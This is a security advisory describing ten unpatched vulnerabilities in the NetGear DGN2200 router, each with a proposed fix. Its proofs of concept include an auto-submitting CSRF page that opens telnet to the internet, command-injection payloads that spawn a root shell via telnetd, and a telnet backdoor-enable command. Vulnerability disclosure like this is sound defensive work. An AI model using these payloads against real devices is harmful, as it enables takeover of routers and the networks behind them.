Summary

BAE Systems Applied Intelligence researcher, Andrew Horton has identified that the NetGear N300 Wireless ADSL 2+ Modem Router model DGN2200 suffers from multiple vulnerabilities which may be exploited by both local and remote attackers. This enables an attacker to completely compromise the device and stage further attacks against the local network and internet.

NetGear have indicated that this product is beyond its end of life and therefore these vulnerabilities will not be patched. As a result, BAE Systems have delayed release of this advisory for over 12 months to reduce the likelihood of active exploitation.

  1. UPNP Vulnerable to CSRF
    ===========================

Requires

Luring an unauthenticated or authenticated user to an attacker-controlled webpage.

Description

The Universal Plug and Play (UPNP) implementation used by NetGear accepts an HTTP POST request as a valid XML request, rendering the UPNP service vulnerable to inter-protocol Cross-Site Request Forgery attacks. This can be used to bypass or alter firewall rules.

The UPNP interface of the router listens on TCP port 5000 and can only be accessed from the LAN side of the device. UPNP requests do not require authentication with passwords. This vulnerability exists because the request is initiated by a user’s browser on the LAN side of the device.

Impact

Using this vulnerability, BAE Systems was able to add new firewall rules to enable internet access to the insecure telnet port and the admin web interface.

Proof of concept

The following webpage will make telnet for the router accessible to the internet so that it may be attacked using the GearDog backdoor (See issue 5). The GearDog backdoor is a known remote access backdoor implemented in many NetGear products. This requires brute-forcing the MAC address.

<html>
<form action="http://192.168.0.1:5000/Public_UPNP_C3" method="post" ENCTYPE="text/plain">
<textarea id="1" name="1"><?xml version="1.0"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<SOAP-ENV:Body>
.<m:AddPortMapping xmlns:m="urn:schemas-upnp-org:service:WANIPConnection:1">
<NewPortMappingDescription>hax3</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration><NewInternalClient>192.168.0.1</NewInternalClient><NewEnabled>1</NewEnabled><NewExternalPort>887</NewExternalPort><NewRemoteHost></NewRemoteHost><NewProtocol>TCP</NewProtocol><NewInternalPort>23</NewInternalPort>
.</m:AddPortMapping>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope></textarea>
<input type="submit" >
</form>
<script> document.forms[0].submit();</script>
</html>

Note: 192.168.0.1 is the default LAN IP address. Port 23 is the internal port number and port 887 is the external port number to be opened.

Solution

Ensure that UPNP requests sent through HTTP POST parameters are not honoured.

  1. Command Execution with Ping
    ===============================

Requires

Authenticated access to the web administration interface.

Description

The ping function available through the web interface is vulnerable to operating system command injection. An attacker with authenticated web user access can gain OS command execution privileges which can be leveraged to backdoor the router, intercept and modify internet traffic, and access connected devices.

Impact

Using this vulnerability, BAE Systems was able to execute arbitrary commands on the underlying Linux operating system as the root user.

Proof of concept

Example exploitation to obtain a file and directory listing:

POST /ping.cgi HTTP/1.1
Host: 192.168.0.1
Proxy-Connection: keep-alive
Content-Length: 81
Cache-Control: max-age=0
Authorization: Basic YWRtaW46YXBwbGU3ODE=
Origin: http://192.168.0.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.4 (KHTML, like Gecko) Chrome/22.0.1229.94 Safari/537.4
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://192.168.0.1/DIAG_diag.htm
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-GB,en-US;q=0.8,en;q=0.6
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

IPAddr1=a&IPAddr2=b&IPAddr3=c&IPAddr4=d&ping=xxxx&ping_IPAddr=|ls

To get an interactive shell,

  1. Send the following POST data:
    IPAddr1=a&IPAddr2=b&IPAddr3=c&IPAddr4=d&ping=xxxx&ping_IPAddr=|/usr/sbin/telnetd -p 90 -l /bin/sh
  2. Telnet to port 90

Solution

Validate untrusted user input using a whitelist of acceptable values. For example, IPv4 address values may only include the digits ‘0’ through ‘9’, and full stops (‘.’)

  1. Blind Command Execution with DNS Lookup
    ===========================================

Requires

Authenticated access to the web administration interface.

Description

The DNS lookup function available through the web interface is vulnerable to operating system command injection. An attacker with authenticated web user access can gain OS command execution privileges which can be leveraged to backdoor the router, intercept and modify internet traffic, and access connected devices.

Impact

Using this vulnerability, BAE Systems was able to execute arbitrary commands on the underlying Linux operating system but was unable to see the response.

Proof of concept

Example exploitation demonstrating the issue through use of the ‘sleep’ command to delay the response from the server:

POST /dnslookup.cgi HTTP/1.1
Host: 192.168.0.1
Proxy-Connection: keep-alive
Content-Length: 32
Cache-Control: max-age=0
Authorization: Basic YWRtaW46YXBwbGU3ODE=
Origin: http://192.168.0.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.4 (KHTML, like Gecko) Chrome/22.0.1229.94 Safari/537.4
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://192.168.0.1/DIAG_diag.htm
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-GB,en-US;q=0.8,en;q=0.6
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

host_name=|sleep 5&lookup=Lookup

To get an interactive shell,

  1. Send the following POST data:
    hostname=|/usr/sbin/telnetd -p 90 -l /bin/sh&lookup=Lookup
  2. Telnet to port 90

Solution

Validate untrusted user input using a whitelist of acceptable values. For example, hostname values may only contain uppercase or lowercase ASCII letters, the digits ‘0’ through ‘9’, full stops (‘.’) and hyphens (‘-’).

  1. No Cross-Site Request Forgery (CSRF) Protection
    ===================================================

Requires

Luring a logged in admin user into following a malicious link

Description

An attacker can lure a user into following an untrusted link to a malicious webpage that will exploit the lack of CSRF protection by forcing the user’s web browser to perform unwanted actions, such as altering firewall rules. This attack returns no information to the attacker, so it is effectively ‘blind’, however this does not detract from the threat.

The command execution vulnerabilities described above can be performed through CSRF.

Impact

Using this vulnerability, BAE Systems was able to update configuration of the device, including changing WPA keys, alter firewall rules and perform command execution through exploitation of the ping and DNS features.

Solution

Include an anti-CSRF token in all web forms and ensure that the token is present and correct when HTTP requests for actions are received.

  1. Gearguy/Geardog Telnet Backdoor
    ===================================

Requires

Ability to telnet to port 23 (only on LAN side by default)

Description

There is a backdoor (feature) built into many NetGear devices, where a user can gain operating system command access without requiring a password. This issue has been previously reported in other NetGear devices.

NetGear provides a windows executable to do this. A Linux client is available from http://code.google.com/p/netgear-telnetenable/

Send a Blowfish encrypted message to port 23 from the LAN. When you reconnect, it provides a shell without a password required.

Impact

Using this vulnerability, BAE Systems was able to gain a root shell on the underlying Linux operating system without supplying any authentication credentials. This would allow complete device compromise, which can be leveraged to backdoor the router, intercept and modify internet traffic, and access connected devices.

Proof of concept

python telnet-enabler.py 192.168.0.1 "204E7F2172C8" Gearguy Geardog
Sent telnet enable payload to ‘192.168.0.1:23’

Solution

Remove the backdoor feature from the device. If a ‘last resort’ admin console or reset function is required, implement it to require interaction with the device so that only a person with physical access to the device is able to use this function.

  1. FTP Insecure Root Directory
    ===============================

Requires

FTP to be enabled (not enabled by default)

Description

The FTP server allows a user to access configuration files and to traverse outside the folder that contains files intended to be shared by FTP.
It is possible to list and retrieve files in the / folder, however the user is restricted from using the cd or CWD command to change the current directory to ‘/’.

Impact

Using this vulnerability, BAE Systems was able to gain access to sensitive configuration files.

Solution

Enforce the folder restriction to the /shares folder for all FTP commands.

  1. Cannot Disable WPS
    ======================

Requires

Local proximity and WiFi enabled

Description

Wi-Fi Protected Setup (WPS) is an insecure protocol vulnerable to bruteforce attacks due to design vulnerabilities. The NetGear device does not provide an effective method to disable WPS. An attacker with local proximity to the device while WiFi is enabled, can bruteforce WPS, and obtain the WPA key which allows an attacker to connect to the WiFi access point, and decrypt WiFi traffic from other users.

Software such as Reaver, can be used to brute-force the WPS key, usually within about ten hours. Reaver is available from http://code.google.com/p/reaver-wps.

The ‘Advanced Wireless Settings’ page contains the following section:
WPS Settings
Router’s PIN: 99999999
[Tickbox] Disable Router’s PIN
[Tickbox] Keep Existing Wireless Settings

Ticking the 'Disable Router's PIN' box appears to have no effect.

Impact

Using this vulnerability, BAE Systems was able to crack the wireless password, and gain access to the WPA2 PSK wireless network hosted by the device.

Proof of concept

This vulnerability can be exploited with the Reaver tool available from http://code.google.com/p/reaver-wps/.

Solution

Implement a method for users to easily and effectively disable WPS.

  1. Passwords Stored in Plaintext
    =================================

Requires

Telnet access or exploitation of a vulnerability providing command execution

Description

The router stores passwords in the /etc/passwd file in plaintext instead of using encrypted hashes.

Impact

Using this vulnerability, BAE Systems was able to learn the passwords used to access the device.

Proof of concept

cat /etc/passwd

nobody:*:0:0:nobody:/:/bin/sh
admin:s3cr3tp4ssw0rd:0:0:admin:/:/bin/sh
guest:guest:0:0:guest:/:/bin/sh

Solution

Store user passwords as a non-reversible cryptographic hash, such as SHA-256.

  1. Pre-Authentication Information Disclosure
    =============================================

Requires

Unauthenticated access to the web interface

Description

This issue has been previously reported in other NetGear devices and is the same issue reported here:

Impact

Using this vulnerability, BAE Systems was able to learn some identifying features of the device without needing to provide credentials.

Proof of concept

URL: http://192.168.0.1/currentsetting.htm
Firmware=V1.0.0.36_7.0.36
RegionTag=DGN2200_WW
Region=ww
Model=DGN2200
InternetConnectionStatus=Up
ParentalControlSupported=1

Solution

Restrict access to webpages containing sensitive functionality or data to authenticated users.

  1. Firmware Update Vulnerable to Man In The Middle
    ===================================================

Requires

Control of the user’s network, for example at the ISP level or local network.

Description

Each time an admin logs into the web interface, the web interface attempts to find new firmware on an FTP server.

FTP is an insecure protocol that is vulnerable to man-in-the-middle attacks. An attacker could provide a backdoored version of the firmware.

Updates are sourced from: ftp://14.0.34.208/dgn2200/ww/

Impact

Using this vulnerability, BAE Systems was able to provide a malicious firmware image to the router.

Solution

Retrieve updates using a protocol with SSL/TLS with certificate validation.
Apply a public key signature to firmware images and check them before usage.

End User Recommendation

Replace your NetGear router with a more recent model that can receive updated firmware.
